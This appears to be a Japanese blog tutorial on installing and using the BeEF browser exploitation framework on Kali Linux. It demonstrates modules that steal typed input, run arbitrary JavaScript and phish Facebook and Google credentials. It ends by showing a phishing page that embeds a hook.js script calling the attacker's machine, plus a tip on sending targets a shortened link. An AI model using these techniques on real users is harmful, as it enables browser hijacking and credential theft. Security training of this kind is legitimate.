免責事項
必ず許可された環境でのみ実行して下さい。
環境
- Kali Linux 2023
- beef 0.5.4.0
BeEFとは
BeEFとはBrowser Exploitation Frameworkの略称です。
このツールはブラウザに焦点を当てたツールになっています。
ブラウザからGUI操作でエクスプロイトを実行することが可能です。
ツールは主にRubyとJavaScriptで書かれています。
公式サイト
公式GitHubリポジトリ
BeEFインストール
Kali Linuxのリポジトリからダウンロードしました。
$ sudo apt install beef-xss
スクリプトファイルは/usr/bin/beef-xssにあります。
$ which beef-xss
/usr/bin/beef-xss
BeEFの設定ファイルパスは/etc/beef-xss/config.yamlです。
(省略)
## Define config_file
config_file='/etc/beef-xss/config.yaml'
(省略)
$ ls -l /etc/beef-xss/config.yaml
-rw------- 1 beef-xss beef-xss 1652 5月 13 22:06 /etc/beef-xss/config.yaml
BeEFの起動
beef-xssで起動すると新しいユーザーのパスワードを設定するように求められるので入力します。
再度BeEFを起動する場合は、新しいユーザーなど作らずに起動します。
$ sudo beef-xss
[sudo] kali のパスワード:
[i] GeoIP database is missing
[i] Run geoipupdate to download / update Maxmind GeoIP database
[*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
● beef-xss.service - beef-xss
Loaded: loaded (/usr/lib/systemd/system/beef-xss.service; disabled; preset: disabled)
Active: active (running) since Sat 2024-05-11 08:41:31 JST; 5s ago
Main PID: 1938 (ruby)
Tasks: 3 (limit: 2286)
Memory: 108.8M (peak: 109.0M)
CPU: 1.430s
CGroup: /system.slice/beef-xss.service
└─1938 ruby /usr/share/beef-xss/beef
パスワードを忘れてしまった場合は、/etc/beef-xss/config.yamlから確認できます。
(省略)
credentials:
user: beef
passwd: password
(省略)
$ sudo beef-xss
[sudo] kali のパスワード:
[-] You are using the Default credentials
[-] (Password must be different from "beef")
[-] Please type a new password for the beef user:
その後 自動で起動します。
Active: active (running)の表示が出力されたら正常に起動できています。
(省略)
[i] GeoIP database is missing
[i] Run geoipupdate to download / update Maxmind GeoIP database
[*] Please wait for the BeEF service to start.
[*]
[*] You might need to refresh your browser once it opens.
[*]
[*] Web UI: http://127.0.0.1:3000/ui/panel
[*] Hook: <script src="http://<IP>:3000/hook.js"></script>
[*] Example: <script src="http://127.0.0.1:3000/hook.js"></script>
● beef-xss.service - beef-xss
Loaded: loaded (/usr/lib/systemd/system/beef-xss.service; disabled; preset: disabled)
Active: active (running) since Thu 2024-05-09 17:10:15 JST; 5s ago
Main PID: 2479 (ruby)
Tasks: 3 (limit: 2286)
Memory: 102.6M (peak: 103.0M)
CPU: 1.804s
CGroup: /system.slice/beef-xss.service
└─2479 ruby /usr/share/beef-xss/beef
5月 09 17:10:20 kali beef[2479]: == 24 CreateAutoloader: migrated (0.0008s) ==============…======
5月 09 17:10:20 kali beef[2479]: == 25 CreateXssraysScan: migrating ======================…======
5月 09 17:10:20 kali beef[2479]: -- create_table(:xssraysscans)
5月 09 17:10:20 kali beef[2479]: -> 0.0008s
5月 09 17:10:20 kali beef[2479]: == 25 CreateXssraysScan: migrated (0.0008s) =============…======
5月 09 17:10:20 kali beef[2479]: [17:10:18][*] BeEF is loading. Wait a few seconds...
5月 09 17:10:20 kali beef[2479]: [17:10:20][!] [AdminUI] Error: Could not minify 'BeEF::Ex…armony
5月 09 17:10:20 kali beef[2479]: [17:10:20] |_ [AdminUI] Ensure nodejs is installed an…ATH` !
5月 09 17:10:20 kali beef[2479]: [17:10:20][!] [AdminUI] Error: Could not minify 'BeEF::Ex…armony
5月 09 17:10:20 kali beef[2479]: [17:10:20] |_ [AdminUI] Ensure nodejs is installed an…ATH` !
Hint: Some lines were ellipsized, use -l to show in full.
[*] Opening Web UI (http://127.0.0.1:3000/ui/panel) in: 5... 4... 3... 2... 1...
起動後、ログインページが立ち上がりました。
Let's ブラウザハッキング!
BeEFにログイン
Usernameはbeef、Passwordはツール起動時に設定したものを入力してログインします。
ホームページの画面構成
ホームページ
Hooked Browsersにフックされたブラウザが追加で表示されていきます。
ブラウザを開いている時はOnline Browsersに、閉じている時はOffline Browsersにカテゴライズされます。
マウスカーソルをかざすと、フックしたホストの情報が簡易表示されます。
デモページ
Getting Startedタブの概要文から2つのデモページに飛べます。
デモページとアドバンスバージョンのデモページがあります。
デモページ
アドバンスバージョン
Logs
LogsタブではBeEFのログインログや機能の使用ログ、フックしたブラウザの操作ログなどが表示されます。
Zombies
乗っ取ったブラウザを一覧表示します。
Details
Hooked Browsersタブから対象のブラウザをクリックすると、Current Browserタブが開きます。
Detailsタブではホスト、ハードウェア、ブラウザ、ネットワークなどの情報を確認できます。
Commands
Commandsタブでは、フックしたブラウザにエクスプロイトやフィッシングを仕掛けられます。
モジュールの色分けについて
- 緑
- コマンド モジュールはターゲットに対して機能するため、ユーザーには見えないようにする必要があります。
- オレンジ
- コマンド モジュールはターゲットに対して機能しますが、ユーザーには表示される可能性があります
- 灰色
- コマンド モジュールはこのターゲットに対してまだ検証されていません
- 赤
- コマンド モジュールはこのターゲットに対して機能しません
また、モジュールの実行結果はModule Results Historyから確認することができます。
いくつか実装されているモジュールを試してみたので紹介します。
モジュールの実行
モジュールはBrowser,Exploits,Social Engineeringなどにカテゴライズされていて、その中から選んで攻撃を実行できます。
Browser
Create Alert Dialog
このモジュールでは対象のブラウザにアラートを表示させることができます。
- ソースコード
モジュール検索フォームでalertと入力して検索します。
ヒットしたCreate Alert Dialogを選択します。
一番右のAlert text項目にはアラートで表示する文字列を入力します。
実行するには右下のExecuteボタンをクリックします。
一方、ブラウザ側では指定した文字列のアラートが出現しました。
Create Prompt Dialog
このモジュールではプロンプトダイアログをフックされたブラウザに表示でき、入力内容を盗み取ることができます。
- ソースコード
Promptなどで検索するとCreate Prompt Dialogモジュールがヒットするので選択します。
Prompt textにはブラウザに表示したい文字列を入力します。
右下のExecuteボタンをクリックして実行します。
ダイアログが表示されました。
試しに何か入力してOKを押してみます。
するとBeEF側で入力された文字列を取得できました。
Redirect
このモジュールではターゲットのWebページを任意のURLへ遷移させることができます。
- ソースコード
Redirectと検索してRedirect Browserを選択します。
今回は対象のブラウザをYoutubeに遷移させます。
Redirect URLにYoutubeのURLを入力して右下のExecuteを実行します。
任意のページへ遷移させることができました。
Redirect Browser (Rick Roll)
このモジュールでは対象のブラウザにRick Rollという海外のミーム動画を表示させることができます。
- ソースコード
仕組みはjsで対象の動画を100% x 100%サイズの<iframe>でブラウザに表示させています。
//
// Copyright (c) 2006-2024Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - https://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
$j('body').html('');
$j('body').css({'padding':'0px', 'margin':'0px', 'height':'100%'});
$j('html').css({'padding':'0px', 'margin':'0px', 'height':'100%'});
$j('body').html('<iframe width="100%" height="100%" src="//www.youtube.com/embed/DLzxrzFCyOs?autoplay=1" allow="autoplay; encrypted-media" frameborder="0" allowfullscreen></iframe>');
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=Rickroll Successful");
});
redirectなどで検索をかけて、Redirect Browser (Rickroll)を選択します。
そして右下のExecuteボタンをクリックして実行します。
残念ながら、動画の再生はできませんでした。
本来はこの動画がブラウザに表示されます。
再生できない原因として、投稿者による埋め込みオプションが無効化されている可能性があります。
Host
Get Geolocation (Third-Party)
このモジュールでは、サードパーティーのAPIを利用して対象マシンの地理情報を取得できます。
- ソースコード
利用するAPIは数種類ありますが、使用したいものが今も提供しているか実際にアクセスして確認する必要もあります。
右下のExecuteをクリックして実行すると、地理情報を取得できました。
Misc
Raw JavaScript
このモジュールでは、対象のブラウザで任意のJavaScriptコードを実行できるようになります。
- ソースコード
Raw JavaScriptを検索し選択します。
Javascript Code項目に実行したいコードを書き込みます。
今回はブラウザにアラートを表示するコードを書きました。
右下のExecuteボタンをクリックして実行します。
アラートが表示されました。
Social Engineering
Pretty Theft
このモジュールでは、有名なアプリケーションに偽造したポップアップを表示して、認証情報を取得することができます。
- ソースコード
Pretty Theftと検索し、クリックして選択します。
Dialog Typeではどのアプリケーションのポップアップを表示するか選択できます。
今回はFacebookを選択しました。
右下のExecuteをクリックして実行すると、ブラウザにはFacebookのセッションタイムアウトしたポップアップが表示され、メールとパスワードの入力を求められました。
このポップアップに入力された情報はコントロールパネルから確認できます。
Google Phishing
このモジュールではGoogleの偽ログイン画面を表示し、認証情報を取得します。
右下のExecuteクリックして実行すると、デモページにGoogleのログイン画面が表示されます。
ソースコードとアドレスバーを確認すると分かりますが、実際に遷移しているのではなくiframeタグを使用し表示しています。
ログイン情報を入力し、Sign inをクリックするとGoogleの正規ログインページにリダイレクトしました。
入力された情報はコントロールパネルから確認することができます。
今回紹介したモジュールはほんの一部なので自身の環境で色々試してみてください。
モジュールは自作することもできます。
気になる方はこちらから確認してください。
フィッシングサイトでBeEFを利用する
フィッシング用の適当なhtmlページを作成します。
<!DOCTYPE html>
<html>
<body>
<h1>This is Phishing Page</h1>
</body>
</html>
フィッシングサイトの作成にはSocial-Engineer Toolkit (SET)などのツールを使う方法も有効的です。
下記コードをHTMLの中に追加します。
<script src="http://<IP>:3000/hook.js"></script>
http://<IP>:3000/hook.jsのIPにはBeEFを実行しているマシンのIPアドレスを入力してください。
- 追加後
<!DOCTYPE html>
<html>
<body>
<h1>This is Phishing Page</h1>
<script src="http://192.168.178.8:3000/hook.js"></script>
</body>
</html>
Kali側でWebサーバーを起動し、作成したフィッシングページへアクセスできるようにします。
$ python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
ターゲットにURLのリンクを送る際は、https://shorturl.at/dDKQRなど短縮URLサービスを使っても良いと思います。
ターゲットがBeEFのスクリプトタグを埋め込まれたページを開くとHooked Browsers欄に追加されました。
- ターゲットマシン
- BeEFのコントロールパネル
このようにフィッシングサイト経由でBeEFを使用することもできます。



































